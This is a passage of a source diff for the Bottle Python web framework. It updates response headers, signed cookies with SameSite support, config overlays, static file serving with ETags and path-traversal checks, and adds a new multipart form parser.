frozenset(('Content-Type', 'Content-Length')), + 304: frozenset(('Allow', 'Content-Encoding', 'Content-Language', 'Content-Length', 'Content-Range', 'Content-Type', 'Content-Md5', 'Last-Modified')) } def __init__(self, body='', status=None, headers=None, **more_headers): + """ Create a new response object. + + :param body: The response body as one of the supported types. + :param status: Either an HTTP status code (e.g. 200) or a status line + including the reason phrase (e.g. '200 OK'). + :param headers: A dictionary or a list of name-value pairs. + + Additional keyword arguments are added to the list of headers. + Underscores in the header name are replaced with dashes. + """ self._cookies = None self._headers = {} self.body = body @@ -1596,8 +1686,10 @@ def copy(self, cls=None): copy.status = self.status copy._headers = dict((k, v[:]) for (k, v) in self._headers.items()) if self._cookies: - copy._cookies = SimpleCookie() - copy._cookies.load(self._cookies.output(header='')) + cookies = copy._cookies = SimpleCookie() + for k,v in self._cookies.items(): + cookies[k] = v.value + cookies[k].update(v) # also copy cookie attributes return copy def __iter__(self): @@ -1621,6 +1713,8 @@ def _set_status(self, status): if isinstance(status, int): code, status = status, _HTTP_STATUS_LINES.get(status) elif ' ' in status: + if '\n' in status or '\r' in status or '\0' in status: + raise ValueError('Status line must not include control chars.') status = status.strip() code = int(status.split()[0]) else: @@ -1660,8 +1754,7 @@ def __getitem__(self, name): return self._headers[_hkey(name)][-1] def __setitem__(self, name, value): - self._headers[_hkey(name)] = [value if isinstance(value, unicode) else - str(value)] + self._headers[_hkey(name)] = [_hval(value)] def get_header(self, name, default=None): """ Return the value of a previously defined header. If there is no @@ -1671,19 +1764,23 @@ def get_header(self, name, default=None): def set_header(self, name, value): """ Create a new response header, replacing any previously defined headers with the same name. """ - self._headers[_hkey(name)] = [value if isinstance(value, unicode) - else str(value)] + self._headers[_hkey(name)] = [_hval(value)] def add_header(self, name, value): """ Add an additional response header, not removing duplicates. """ - self._headers.setdefault(_hkey(name), []).append( - value if isinstance(value, unicode) else str(value)) + self._headers.setdefault(_hkey(name), []).append(_hval(value)) def iter_headers(self): """ Yield (header, value) tuples, skipping headers that are not allowed with the current response status code. """ return self.headerlist + def _wsgi_status_line(self): + """ WSGI conform status line (latin1-encodeable) """ + if py3k: + return self._status_line.encode('utf8').decode('latin1') + return self._status_line + @property def headerlist(self): """ WSGI conform list of (header, value) tuples. """ @@ -1697,18 +1794,16 @@ def headerlist(self): out += [(name, val) for (name, vals) in headers for val in vals] if self._cookies: for c in self._cookies.values(): - out.append(('Set-Cookie', c.OutputString())) + out.append(('Set-Cookie', _hval(c.OutputString()))) if py3k: - return [(k, v.encode('utf8').decode('latin1')) for (k, v) in out] - else: - return [(k, v.encode('utf8') if isinstance(v, unicode) else v) - for (k, v) in out] + out = [(k, v.encode('utf8').decode('latin1')) for (k, v) in out] + return out content_type = HeaderProperty('Content-Type') - content_length = HeaderProperty('Content-Length', reader=int) + content_length = HeaderProperty('Content-Length', reader=int, default=-1) expires = HeaderProperty( 'Expires', - reader=lambda x: datetime.utcfromtimestamp(parse_date(x)), + reader=lambda x: datetime.fromtimestamp(parse_date(x), UTC), writer=lambda x: http_date(x)) @property @@ -1718,7 +1813,7 @@ def charset(self, default='UTF-8'): return self.content_type.split('charset=')[-1].split(';')[0].strip() return default - def set_cookie(self, name, value, secret=None, **options): + def set_cookie(self, name, value, secret=None, digestmod=hashlib.sha256, **options): """ Create a new cookie or replace an old one. If the `secret` parameter is set, create a `Signed Cookie` (described below). @@ -1729,7 +1824,7 @@ def set_cookie(self, name, value, secret=None, **options): Additionally, this method accepts all RFC 2109 attributes that are supported by :class:`cookie.Morsel`, including: - :param max_age: maximum age in seconds. (default: None) + :param maxage: maximum age in seconds. (default: None) :param expires: a datetime object or UNIX timestamp. (default: None) :param domain: the domain that is allowed to read the cookie. (default: current domain) @@ -1737,8 +1832,10 @@ def set_cookie(self, name, value, secret=None, **options): :param secure: limit the cookie to HTTPS connections (default: off). :param httponly: prevents client-side javascript to read this cookie (default: off, requires Python 2.6 or newer). + :param samesite: Control or disable third-party use for this cookie. + Possible values: `lax`, `strict` or `none` (default). - If neither `expires` nor `max_age` is set (default), the cookie will + If neither `expires` nor `maxage` is set (default), the cookie will expire at the end of the browser session (as soon as the browser window is closed). @@ -1746,6 +1843,11 @@ def set_cookie(self, name, value, secret=None, **options): cryptographically signed to prevent manipulation. Keep in mind that cookies are limited to 4kb in most browsers. + Warning: Pickle is a potentially dangerous format. If an attacker + gains access to the secret key, he could forge cookies that execute + code on server side if unpickled. Using pickle is discouraged and + support for it will be removed in later versions of bottle. + Warning: Signed cookies are not encrypted (the client can still see the content) and not copy-protected (the client can restore an old cookie). The main intention is to make pickling and unpickling @@ -1754,10 +1856,22 @@ def set_cookie(self, name, value, secret=None, **options): if not self._cookies: self._cookies = SimpleCookie() + # Monkey-patch Cookie lib to support 'SameSite' parameter + # https://tools.ietf.org/html/draft-west-first-party-cookies-07#section-4.1 + if py < (3, 8, 0): + Morsel._reserved.setdefault('samesite', 'SameSite') + if secret: - value = touni(cookie_encode((name, value), secret)) + if not isinstance(value, basestring): + depr(0, 13, "Pickling of arbitrary objects into cookies is " + "deprecated.", "Only store strings in cookies. " + "JSON strings are fine, too.") + encoded = base64.b64encode(pickle.dumps([name, value], -1)) + sig = base64.b64encode(hmac.new(tob(secret), encoded, + digestmod=digestmod).digest()) + value = touni(tob('!') + sig + tob('?') + encoded) elif not isinstance(value, basestring): - raise TypeError('Secret key missing for non-string Cookie.') + raise TypeError('Secret key required for non-string cookies.') # Cookie size plus options must not exceed 4kb. if len(name) + len(value) > 3800: @@ -1766,18 +1880,19 @@ def set_cookie(self, name, value, secret=None, **options): self._cookies[name] = value for key, value in options.items(): - if key == 'max_age': + if key in ('max_age', 'maxage'): # 'maxage' variant added in 0.13 + key = 'max-age' if isinstance(value, timedelta): value = value.seconds + value.days * 24 * 3600 if key == 'expires': - if isinstance(value, (datedate, datetime)): - value = value.timetuple() - elif isinstance(value, (int, float)): - value = time.gmtime(value) - value = time.strftime("%a, %d %b %Y %H:%M:%S GMT", value) + value = http_date(value) + if key in ('same_site', 'samesite'): # 'samesite' variant added in 0.13 + key, value = 'samesite', (value or "none").lower() + if value not in ('lax', 'strict', 'none'): + raise CookieError("Invalid value for SameSite") if key in ('secure', 'httponly') and not value: continue - self._cookies[name][key.replace('_', '-')] = value + self._cookies[name][key] = value def delete_cookie(self, key, **kwargs): """ Delete a cookie. Be sure to use the same `domain` and `path` @@ -1840,10 +1955,18 @@ class LocalResponse(BaseResponse): class HTTPResponse(Response, BottleException): + """ A subclass of :class:`Response` that can be raised or returned from request + handlers to short-curcuit request processing and override changes made to the + global :data:`request` object. This bypasses error handlers, even if the status + code indicates an error. Return or raise :class:`HTTPError` to trigger error + handlers. + """ + def __init__(self, body='', status=None, headers=None, **more_headers): super(HTTPResponse, self).__init__(body, status, headers, **more_headers) def apply(self, other): + """ Copy the state of this response to a different :class:`Response` object. """ other._status_code = self._status_code other._status_line = self._status_line other._headers = self._headers @@ -1852,6 +1975,8 @@ def apply(self, other): class HTTPError(HTTPResponse): + """ A subclass of :class:`HTTPResponse` that triggers error handlers. """ + default_status = 500 def __init__(self, @@ -1879,15 +2004,28 @@ class JSONPlugin(object): def __init__(self, json_dumps=json_dumps): self.json_dumps = json_dumps - def apply(self, callback, _): + def setup(self, app): + app.config._define('json.enable', default=True, validate=bool, + help="Enable or disable automatic dict->json filter.") + app.config._define('json.ascii', default=False, validate=bool, + help="Use only 7-bit ASCII characters in output.") + app.config._define('json.indent', default=True, validate=bool, + help="Add whitespace to make json more readable.") + app.config._define('json.dump_func', default=None, + help="If defined, use this function to transform" + " dict into json. The other options no longer" + " apply.") + + def apply(self, callback, route): dumps = self.json_dumps - if not dumps: return callback + if not self.json_dumps: return callback + @functools.wraps(callback) def wrapper(*a, **ka): try: rv = callback(*a, **ka) - except HTTPError: - rv = _e() + except HTTPResponse as resp: + rv = resp if isinstance(rv, dict): #Attempt to serialize, raises exception on failure @@ -1930,7 +2068,7 @@ def __init__(self, name, impmask): """ Create a virtual package that redirects imports (see PEP 302). """ self.name = name self.impmask = impmask - self.module = sys.modules.setdefault(name, imp.new_module(name)) + self.module = sys.modules.setdefault(name, new_module(name)) self.module.__dict__.update({ '__file__': __file__, '__path__': [], @@ -1939,12 +2077,23 @@ def __init__(self, name, impmask): }) sys.meta_path.append(self) + def find_spec(self, fullname, path, target=None): + if '.' not in fullname: return + if fullname.rsplit('.', 1)[0] != self.name: return + from importlib.util import spec_from_loader + return spec_from_loader(fullname, self) + def find_module(self, fullname, path=None): if '.' not in fullname: return - packname = fullname.rsplit('.', 1)[0] - if packname != self.name: return + if fullname.rsplit('.', 1)[0] != self.name: return return self + def create_module(self, spec): + return self.load_module(spec.name) + + def exec_module(self, module): + pass # This probably breaks importlib.reload() :/ + def load_module(self, fullname): if fullname in sys.modules: return sys.modules[fullname] modname = fullname.rsplit('.', 1)[1] @@ -2109,7 +2258,6 @@ def __getattr__(self, name, default=unicode()): return super(FormsDict, self).__getattr__(name) return self.getunicode(name, default=default) - class HeaderDict(MultiDict): """ A case-insensitive version of :class:`MultiDict` that defaults to replace the old value instead of appending it. """ @@ -2128,16 +2276,13 @@ def __getitem__(self, key): return self.dict[_hkey(key)][-1] def __setitem__(self, key, value): - self.dict[_hkey(key)] = [value if isinstance(value, unicode) else - str(value)] + self.dict[_hkey(key)] = [_hval(value)] def append(self, key, value): - self.dict.setdefault(_hkey(key), []).append( - value if isinstance(value, unicode) else str(value)) + self.dict.setdefault(_hkey(key), []).append(_hval(value)) def replace(self, key, value): - self.dict[_hkey(key)] = [value if isinstance(value, unicode) else - str(value)] + self.dict[_hkey(key)] = [_hval(value)] def getall(self, key): return self.dict.get(_hkey(key)) or [] @@ -2146,7 +2291,7 @@ def get(self, key, default=None, index=-1): return MultiDict.get(self, _hkey(key), default, index) def filter(self, names): - for name in [_hkey(n) for n in names]: + for name in (_hkey(n) for n in names): if name in self.dict: del self.dict[name] @@ -2210,48 +2355,76 @@ def __len__(self): def __contains__(self, key): return self._ekey(key) in self.environ +_UNSET = object() class ConfigDict(dict): """ A dict-like configuration storage with additional support for - namespaces, validators, meta-data, on_change listeners and more. + namespaces, validators, meta-data and overlays. + + This dict-like class is heavily optimized for read access. + Read-only methods and item access should be as fast as a native dict. """ - __slots__ = ('_meta', '_on_change') + __slots__ = ('_meta', '_change_listener', '_overlays', '_virtual_keys', '_source', '__weakref__') def __init__(self): self._meta = {} - self._on_change = lambda name, value: None - - def load_module(self, path, squash): - """ Load values from a Python module. - :param squash: Squash nested dicts into namespaces by using - load_dict(), otherwise use update() - Example: load_config('my.app.settings', True) - Example: load_config('my.app.settings', False) + self._change_listener = [] + #: Weak references of overlays that need to be kept in sync. + self._overlays = [] + #: Config that is the source for this overlay. + self._source = None + #: Keys of values copied from the source (values we do not own) + self._virtual_keys = set() + + def load_module(self, name, squash=True): + """Load values from a Python module. + + Import a python module by name and add all upper-case module-level + variables to this config dict. + + :param name: Module name to import and load. + :param squash: If true (default), nested dicts are assumed to + represent namespaces and flattened (see :meth:`load_dict`). """ - config_obj = __import__(path) - obj = dict([(key, getattr(config_obj, key)) - for key in dir(config_obj) if key.isupper()]) + config_obj = load(name) + obj = {key: getattr(config_obj, key) + for key in dir(config_obj) if key.isupper()} + if squash: self.load_dict(obj) else: self.update(obj) return self - def load_config(self, filename): - """ Load values from an ``*.ini`` style config file. + def load_config(self, filename, **options): + """ Load values from ``*.ini`` style config files using configparser. + + INI style sections (e.g. ``[section]``) are used as namespace for + all keys within that section. Both section and key names may contain + dots as namespace separators and are converted to lower-case. + + The special sections ``[bottle]`` and ``[ROOT]`` refer to the root + namespace and the ``[DEFAULT]`` section defines default values for all + other sections. + + :param filename: The path of a config file, or a list of paths. + :param options: All keyword parameters are passed to the underlying + :class:`python:configparser.ConfigParser` constructor call. - If the config file contains sections, their names are used as - namespaces for the values within. The two special sections - ``DEFAULT`` and ``bottle`` refer to the root namespace (no prefix). """ - conf = ConfigParser() + options.setdefault('allow_no_value', True) + if py3k: + options.setdefault('interpolation', + configparser.ExtendedInterpolation()) + conf = configparser.ConfigParser(**options) conf.read(filename) for section in conf.sections(): - for key, value in conf.items(section): - if section not in ('DEFAULT', 'bottle'): + for key in conf.options(section): + value = conf.get(section, key) + if section not in ('bottle', 'ROOT'): key = section + '.' + key - self[key] = value + self[key.lower()] = value return self def load_dict(self, source, namespace=''): @@ -2276,7 +2449,10 @@ def load_dict(self, source, namespace=''): def update(self, *a, **ka): """ If the first parameter is a string, all keys are prefixed with this namespace. Apart from that it works just as the usual dict.update(). - Example: ``update('some.namespace', key='value')`` """ + + >>> c = ConfigDict() + >>> c.update('some.namespace', key='value') + """ prefix = '' if a and isinstance(a[0], basestring): prefix = a[0].strip('.') + '.' @@ -2284,7 +2460,7 @@ def update(self, *a, **ka): for key, value in dict(*a, **ka).items(): self[prefix + key] = value - def setdefault(self, key, value): + def setdefault(self, key, value=None): if key not in self: self[key] = value return self[key] @@ -2292,38 +2468,142 @@ def setdefault(self, key, value): def __setitem__(self, key, value): if not isinstance(key, basestring): raise TypeError('Key has type %r (not a string)' % type(key)) + + self._virtual_keys.discard(key) + value = self.meta_get(key, 'filter', lambda x: x)(value) if key in self and self[key] is value: return + self._on_change(key, value) dict.__setitem__(self, key, value) + for overlay in self._iter_overlays(): + overlay._set_virtual(key, value) + def __delitem__(self, key): - self._on_change(key, None) + if key not in self: + raise KeyError(key) + if key in self._virtual_keys: + raise KeyError("Virtual keys cannot be deleted: %s" % key) + + if self._source and key in self._source: + # Not virtual, but present in source -> Restore virtual value + dict.__delitem__(self, key) + self._set_virtual(key, self._source[key]) + else: # not virtual, not present in source. This is OUR value + self._on_change(key, None) + dict.__delitem__(self, key) + for overlay in self._iter_overlays(): + overlay._delete_virtual(key) + + def _set_virtual(self, key, value): + """ Recursively set or update virtual keys. """ + if key in self and key not in self._virtual_keys: + return # Do nothing for non-virtual keys. + + self._virtual_keys.add(key) + if key in self and self[key] is not value: + self._on_change(key, value) + dict.__setitem__(self, key, value) + for overlay in self._iter_overlays(): + overlay._set_virtual(key, value) + + def _delete_virtual(self, key): + """ Recursively delete virtual entry. """ + if key not in self._virtual_keys: + return # Do nothing for non-virtual keys. + + if key in self: + self._on_change(key, None) dict.__delitem__(self, key) + self._virtual_keys.discard(key) + for overlay in self._iter_overlays(): + overlay._delete_virtual(key) + + def _on_change(self, key, value): + for cb in self._change_listener: + if cb(self, key, value): + return True + + def _add_change_listener(self, func): + self._change_listener.append(func) + return func def meta_get(self, key, metafield, default=None): """ Return the value of a meta field for a key. """ return self._meta.get(key, {}).get(metafield, default) def meta_set(self, key, metafield, value): - """ Set the meta field for a key to a new value. This triggers the - on-change handler for existing keys. """ + """ Set the meta field for a key to a new value. + + Meta-fields are shared between all members of an overlay tree. + """ self._meta.setdefault(key, {})[metafield] = value - if key in self: - self[key] = self[key] def meta_list(self, key): """ Return an iterable of meta field names defined for a key. """ return self._meta.get(key, {}).keys() + def _define(self, key, default=_UNSET, help=_UNSET, validate=_UNSET): + """ (Unstable) Shortcut for plugins to define own config parameters. """ + if default is not _UNSET: + self.setdefault(key, default) + if help is not _UNSET: + self.meta_set(key, 'help', help) + if validate is not _UNSET: + self.meta_set(key, 'validate', validate) + + def _iter_overlays(self): + for ref in self._overlays: + overlay = ref() + if overlay is not None: + yield overlay + + def _make_overlay(self): + """ (Unstable) Create a new overlay that acts like a chained map: Values + missing in the overlay are copied from the source map. Both maps + share the same meta entries. + + Entries that were copied from the source are called 'virtual'. You + can not delete virtual keys, but overwrite them, which turns them + into non-virtual entries. Setting keys on an overlay never affects + its source, but may affect any number of child overlays. + + Other than collections.ChainMap or most other implementations, this + approach does not resolve missing keys on demand, but instead + actively copies all values from the source to the overlay and keeps + track of virtual and non-virtual keys internally. This removes any + lookup-overhead. Read-access is as fast as a build-in dict for both + virtual and non-virtual keys. + + Changes are propagated recursively and depth-first. A failing + on-change handler in an overlay stops the propagation of virtual + values and may result in an partly updated tree. Take extra care + here and make sure that on-change handlers never fail. + + Used by Route.config + """ + # Cleanup dead references + self._overlays[:] = [ref for ref in self._overlays if ref() is not None] + + overlay = ConfigDict() + overlay._meta = self._meta + overlay._source = self + self._overlays.append(weakref.ref(overlay)) + for key in self: + overlay._set_virtual(key, self[key]) + return overlay + + + class AppStack(list): """ A stack-like list. Calling it returns the head of the stack. """ def __call__(self): """ Return the current default application. """ - return self[-1] + return self.default def push(self, value=None): """ Add a new :class:`Bottle` instance to the stack """ @@ -2331,20 +2611,28 @@ def push(self, value=None): value = Bottle() self.append(value) return value + new_app = push + + @property + def default(self): + try: + return self[-1] + except IndexError: + return self.push() class WSGIFileWrapper(object): def __init__(self, fp, buffer_size=1024 * 64): self.fp, self.buffer_size = fp, buffer_size - for attr in ('fileno', 'close', 'read', 'readlines', 'tell', 'seek'): + for attr in 'fileno', 'close', 'read', 'readlines', 'tell', 'seek': if hasattr(fp, attr): setattr(self, attr, getattr(fp, attr)) def __iter__(self): buff, read = self.buffer_size, self.read - while True: - part = read(buff) - if not part: return + part = read(buff) + while part: yield part + part = read(buff) class _closeiter(object): @@ -2429,7 +2717,7 @@ def lookup(self, name): """ Search for a resource and return an absolute file path, or `None`. The :attr:`path` list is searched in order. The first match is - returend. Symlinks are followed. The result is cached to speed up + returned. Symlinks are followed. The result is cached to speed up future lookups. """ if name not in self.cache or DEBUG: for path in self.path: @@ -2451,7 +2739,7 @@ def open(self, name, mode='r', *args, **kwargs): class FileUpload(object): def __init__(self, fileobj, name, filename, headers=None): - """ Wrapper for file uploads. """ + """ Wrapper for a single file uploaded via ``multipart/form-data``. """ #: Open file(-like) object (BytesIO buffer or temporary file) self.file = fileobj #: Name of the upload form field @@ -2464,6 +2752,10 @@ def __init__(self, fileobj, name, filename, headers=None): content_type = HeaderProperty('Content-Type') content_length = HeaderProperty('Content-Length', reader=int, default=-1) + def get_header(self, name, default=None): + """ Return the value of a header within the multipart part. """ + return self.headers.get(name, default) + @cached_property def filename(self): """ Name of the file on the client file system, but normalized to ensure @@ -2533,42 +2825,58 @@ def redirect(url, code=None): raise res -def _file_iter_range(fp, offset, bytes, maxread=1024 * 1024): - """ Yield chunks from a range in a file. No chunk is bigger than maxread.""" +def _rangeiter(fp, offset, limit, bufsize=1024 * 1024): + """ Yield chunks from a range in a file. """ fp.seek(offset) - while bytes > 0: - part = fp.read(min(bytes, maxread)) - if not part: break - bytes -= len(part) + while limit > 0: + part = fp.read(min(limit, bufsize)) + if not part: + break + limit -= len(part) yield part def static_file(filename, root, - mimetype='auto', + mimetype=True, download=False, - charset='UTF-8'): - """ Open a file in a safe way and return :exc:`HTTPResponse` with status - code 200, 305, 403 or 404. The ``Content-Type``, ``Content-Encoding``, - ``Content-Length`` and ``Last-Modified`` headers are set if possible. - Special support for ``If-Modified-Since``, ``Range`` and ``HEAD`` - requests. - - :param filename: Name or path of the file to send. + charset='UTF-8', + etag=None, + headers=None): + """ Open a file in a safe way and return an instance of :exc:`HTTPResponse` + that can be sent back to the client. + + :param filename: Name or path of the file to send, relative to ``root``. :param root: Root path for file lookups. Should be an absolute directory path. - :param mimetype: Defines the content-type header (default: guess from + :param mimetype: Provide the content-type header (default: guess from file extension) :param download: If True, ask the browser to open a `Save as...` dialog instead of opening the file with the associated program. You can specify a custom filename as a string. If not specified, the original filename is used (default: False). - :param charset: The charset to use for files with a ``text/*`` - mime-type. (default: UTF-8) + :param charset: The charset for files with a ``text/*`` mime-type. + (default: UTF-8) + :param etag: Provide a pre-computed ETag header. If set to ``False``, + ETag handling is disabled. (default: auto-generate ETag header) + :param headers: Additional headers dict to add to the response. + + While checking user input is always a good idea, this function provides + additional protection against malicious ``filename`` parameters from + breaking out of the ``root`` directory and leaking sensitive information + to an attacker. + + Read-protected files or files outside of the ``root`` directory are + answered with ``403 Access Denied``. Missing files result in a + ``404 Not Found`` response. Conditional requests (``If-Modified-Since``, + ``If-None-Match``) are answered with ``304 Not Modified`` whenever + possible. ``HEAD`` and ``Range`` requests (used by download managers to + check or continue partial downloads) are also handled automatically. """ - root = os.path.abspath(root) + os.sep + root = os.path.join(os.path.abspath(root), '') filename = os.path.abspath(os.path.join(root, filename.strip('/\\'))) - headers = dict() + headers = headers.copy() if headers else {} + getenv = request.environ.get if not filename.startswith(root): return HTTPError(403, "Access denied.") @@ -2577,47 +2885,63 @@ def static_file(filename, root, if not os.access(filename, os.R_OK): return HTTPError(403, "You do not have permission to access this file.") - if mimetype == 'auto': - if download and download != True: - mimetype, encoding = mimetypes.guess_type(download) - else: - mimetype, encoding = mimetypes.guess_type(filename) - if encoding: headers['Content-Encoding'] = encoding + if mimetype is True: + name = download if isinstance(download, str) else filename + mimetype, encoding = mimetypes.guess_type(name) + if encoding == 'gzip': + mimetype = 'application/gzip' + elif encoding: # e.g. bzip2 -> application/x-bzip2 + mimetype = 'application/x-' + encoding + + if charset and mimetype and 'charset=' not in mimetype \ + and (mimetype[:5] == 'text/' or mimetype == 'application/javascript'): + mimetype += '; charset=%s' % charset if mimetype: - if mimetype[:5] == 'text/' and charset and 'charset' not in mimetype: - mimetype += '; charset=%s' % charset headers['Content-Type'] = mimetype + if download is True: + download = os.path.basename(filename) + if download: - download = os.path.basename(filename if download == True else download) + download = download.replace('"','') headers['Content-Disposition'] = 'attachment; filename="%s"' % download stats = os.stat(filename) headers['Content-Length'] = clen = stats.st_size - lm = time.strftime("%a, %d %b %Y %H:%M:%S GMT", time.gmtime(stats.st_mtime)) - headers['Last-Modified'] = lm + headers['Last-Modified'] = email.utils.formatdate(stats.st_mtime, usegmt=True) + headers['Date'] = email.utils.formatdate(time.time(), usegmt=True) + + if etag is None: + etag = '%d:%d:%d:%d:%s' % (stats.st_dev, stats.st_ino, stats.st_mtime, + clen, filename) + etag = hashlib.sha1(tob(etag)).hexdigest() - ims = request.environ.get('HTTP_IF_MODIFIED_SINCE') + if etag: + headers['ETag'] = etag + check = getenv('HTTP_IF_NONE_MATCH') + if check and check == etag: + return HTTPResponse(status=304, **headers) + + ims = getenv('HTTP_IF_MODIFIED_SINCE') if ims: ims = parse_date(ims.split(";")[0].strip()) - if ims is not None and ims >= int(stats.st_mtime): - headers['Date'] = time.strftime("%a, %d %b %Y %H:%M:%S GMT", - time.gmtime()) - return HTTPResponse(status=304, **headers) + if ims is not None and ims >= int(stats.st_mtime): + return HTTPResponse(status=304, **headers) body = '' if request.method == 'HEAD' else open(filename, 'rb') headers["Accept-Ranges"] = "bytes" - ranges = request.environ.get('HTTP_RANGE') - if 'HTTP_RANGE' in request.environ: - ranges = list(parse_range_header(request.environ['HTTP_RANGE'], clen)) + range_header = getenv('HTTP_RANGE') + if range_header: + ranges = list(parse_range_header(range_header, clen)) if not ranges: return HTTPError(416, "Requested Range Not Satisfiable") offset, end = ranges[0] + rlen = end - offset headers["Content-Range"] = "bytes %d-%d/%d" % (offset, end - 1, clen) - headers["Content-Length"] = str(end - offset) - if body: body = _file_iter_range(body, offset, end - offset) + headers["Content-Length"] = str(rlen) + if body: body = _closeiter(_rangeiter(body, offset, rlen), body.close) return HTTPResponse(body, status=206, **headers) return HTTPResponse(body, **headers) @@ -2635,20 +2959,26 @@ def debug(mode=True): def http_date(value): - if isinstance(value, (datedate, datetime)): + if isinstance(value, basestring): + return value + if isinstance(value, datetime): + # aware datetime.datetime is converted to UTC time + # naive datetime.datetime is treated as UTC time value = value.utctimetuple() - elif isinstance(value, (int, float)): - value = time.gmtime(value) - if not isinstance(value, basestring): - value = time.strftime("%a, %d %b %Y %H:%M:%S GMT", value) - return value + elif isinstance(value, datedate): + # datetime.date is naive, and is treated as UTC time + value = value.timetuple() + if not isinstance(value, (int, float)): + # convert struct_time in UTC to UNIX timestamp + value = calendar.timegm(value) + return email.utils.formatdate(value, usegmt=True) def parse_date(ims): """ Parse rfc1123, rfc850 and asctime timestamps and return UTC epoch. """ try: ts = email.utils.parsedate_tz(ims) - return time.mktime(ts[:8] + (0, )) - (ts[9] or 0) - time.timezone + return calendar.timegm(ts[:8] + (0, )) - (ts[9] or 0) except (TypeError, ValueError, IndexError, OverflowError): return None @@ -2683,9 +3013,45 @@ def parse_range_header(header, maxlen=0): pass +#: Header tokenizer used by _parse_http_header() +_hsplit = re.compile('(?:(?:"((?:[^"\\\\]|\\\\.)*)")|([^;,=]+))([;,=]?)').findall + +def _parse_http_header(h): + """ Parses a typical multi-valued and parametrised HTTP header (e.g. Accept headers) and returns a list of values + and parameters. For non-standard or broken input, this implementation may return partial results. + :param h: A header string (e.g. ``text/html,text/plain;q=0.9,*/*;q=0.8``) + :return: List of (value, params) tuples. The second element is a (possibly empty) dict. + """ + values = [] + if '"' not in h: # INFO: Fast path without regexp (~2x faster) + for value in h.split(','): + parts = value.split(';') + values.append((parts[0].strip(), {})) + for attr in parts[1:]: + name, value = attr.split('=', 1) + values[-1][1][name.strip().lower()] = value.strip() + else: + lop, key, attrs = ',', None, {} + for quoted, plain, tok in _hsplit(h): + value = plain.strip() if plain else quoted.replace('\\"', '"') + if lop == ',': + attrs = {} + values.append((value, attrs)) + elif lop == ';': + if tok == '=': + key = value + else: + attrs[value.strip().lower()] = '' + elif lop == '=' and key: + attrs[key.strip().lower()] = value + key = None + lop = tok + return values + + def _parse_qsl(qs): r = [] - for pair in qs.replace(';', '&').split('&'): + for pair in qs.split('&'): if not pair: continue nv = pair.split('=', 1) if len(nv) != 2: nv.append('') @@ -2702,25 +3068,34 @@ def _lscmp(a, b): for x, y in zip(a, b)) and len(a) == len(b) -def cookie_encode(data, key): +def cookie_encode(data, key, digestmod=None): """ Encode and sign a pickle-able object. Return a (byte) string """ + depr(0, 13, "cookie_encode() will be removed soon.", + "Do not use this API directly.") + digestmod = digestmod or hashlib.sha256 msg = base64.b64encode(pickle.dumps(data, -1)) - sig = base64.b64encode(hmac.new(tob(key), msg).digest()) + sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=digestmod).digest()) return tob('!') + sig + tob('?') + msg -def cookie_decode(data, key): +def cookie_decode(data, key, digestmod=None): """ Verify and decode an encoded string. Return an object or None.""" + depr(0, 13, "cookie_decode() will be removed soon.", + "Do not use this API directly.") data = tob(data) if cookie_is_encoded(data): sig, msg = data.split(tob('?'), 1) - if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg).digest())): + digestmod = digestmod or hashlib.sha256 + hashed = hmac.new(tob(key), msg, digestmod=digestmod).digest() + if _lscmp(sig[1:], base64.b64encode(hashed)): return pickle.loads(base64.b64decode(msg)) return None def cookie_is_encoded(data): """ Return True if the argument looks like a encoded cookie.""" + depr(0, 13, "cookie_is_encoded() will be removed soon.", + "Do not use this API directly.") return bool(data.startswith(tob('!')) and tob('?') in data) @@ -2833,10 +3208,262 @@ def wrapper(*a, **ka): uninstall = make_default_app_wrapper('uninstall') url = make_default_app_wrapper('get_url') + +############################################################################### +# Multipart Handling ########################################################### +############################################################################### +# cgi.FieldStorage was deprecated in Python 3.11 and removed in 3.13 +# This implementation is based on https://github.com/defnull/multipart/ + + +class MultipartError(HTTPError): + def __init__(self, msg): + HTTPError.__init__(self, 400, "MultipartError: " + msg) + + +class _MultipartParser(object): + def __init__( + self, + stream, + boundary, + content_length=-1, + disk_limit=2 ** 30, + mem_limit=2 ** 20, + memfile_limit=2 ** 18, + buffer_size=2 ** 16, + charset="latin1", + ): + self.stream = stream + self.boundary = boundary + self.content_length = content_length + self.disk_limit = disk_limit + self.memfile_limit = memfile_limit + self.mem_limit = min(mem_limit, self.disk_limit) + self.buffer_size = min(buffer_size, self.mem_limit) + self.charset = charset + + if not boundary: + raise MultipartError("No boundary.") + + if self.buffer_size - 6 < len(boundary): # "--boundary--\r\n" + raise MultipartError("Boundary does not fit into buffer_size.") + + def _lineiter(self): + """ Iterate over a binary file-like object (crlf terminated) line by + line. Each line is returned as a (line, crlf) tuple. Lines larger + than buffer_size are split into chunks where all but the last chunk + has an empty string instead of crlf. Maximum chunk size is twice the + buffer size. + """ + + read = self.stream.read + maxread, maxbuf = self.content_length, self.buffer_size + partial = b"" # Contains the last (partial) line + + while True: + chunk = read(maxbuf if maxread < 0 else min(maxbuf, maxread)) + maxread -= len(chunk) + if not chunk: + if partial: + yield partial, b'' + break + + if partial: + chunk = partial + chunk + + scanpos = 0 + while True: + i = chunk.find(b'\r\n', scanpos) + if i >= 0: + yield chunk[scanpos:i], b'\r\n' + scanpos = i + 2 + else: # CRLF not found + partial = chunk[scanpos:] if scanpos else chunk + break + + if len(partial) > maxbuf: + yield partial[:-1], b"" + partial = partial[-1:] + + def parse(self): + """ Return a MultiPart iterator. Can only be called once. """ + + lines, line = self._lineiter(), "" + separator = b"--" + tob(self.boundary) + terminator = separator + b"--" + mem_used, disk_used = 0, 0 # Track used resources to prevent DoS + is_tail = False # True if the last line was incomplete (cutted) + + # Consume first boundary. Ignore any preamble, as required by RFC + # 2046, section 5.1.1. + for line, nl in lines: + if line in (separator, terminator): + break + else: + raise MultipartError("Stream does not contain boundary") + + # First line is termainating boundary -> empty multipart stream + if line == terminator: + for _ in lines: + raise MultipartError("Found data after empty multipart stream") + return + + part_options = { + "buffer_size": self.buffer_size, + "memfile_limit": self.memfile_limit, + "charset": self.charset, + } + part = _MultipartPart(**part_options) + + for line, nl in lines: + if not is_tail and (line == separator or line == terminator): + part.finish() + if part.is_buffered(): + mem_used += part.size + else: + disk_used += part.size + yield part + if line == terminator: + break + part = _MultipartPart(**part_options) + else: + is_tail = not nl # The next line continues this one + try: + part.feed(line, nl) + if part.is_buffered(): + if part.size + mem_used > self.mem_limit: + raise MultipartError("Memory limit reached.") + elif part.size + disk_used > self.disk_limit: + raise MultipartError("Disk limit reached.") + except MultipartError: + part.close() + raise + else: + part.close() + + if line != terminator: + raise MultipartError("Unexpected end 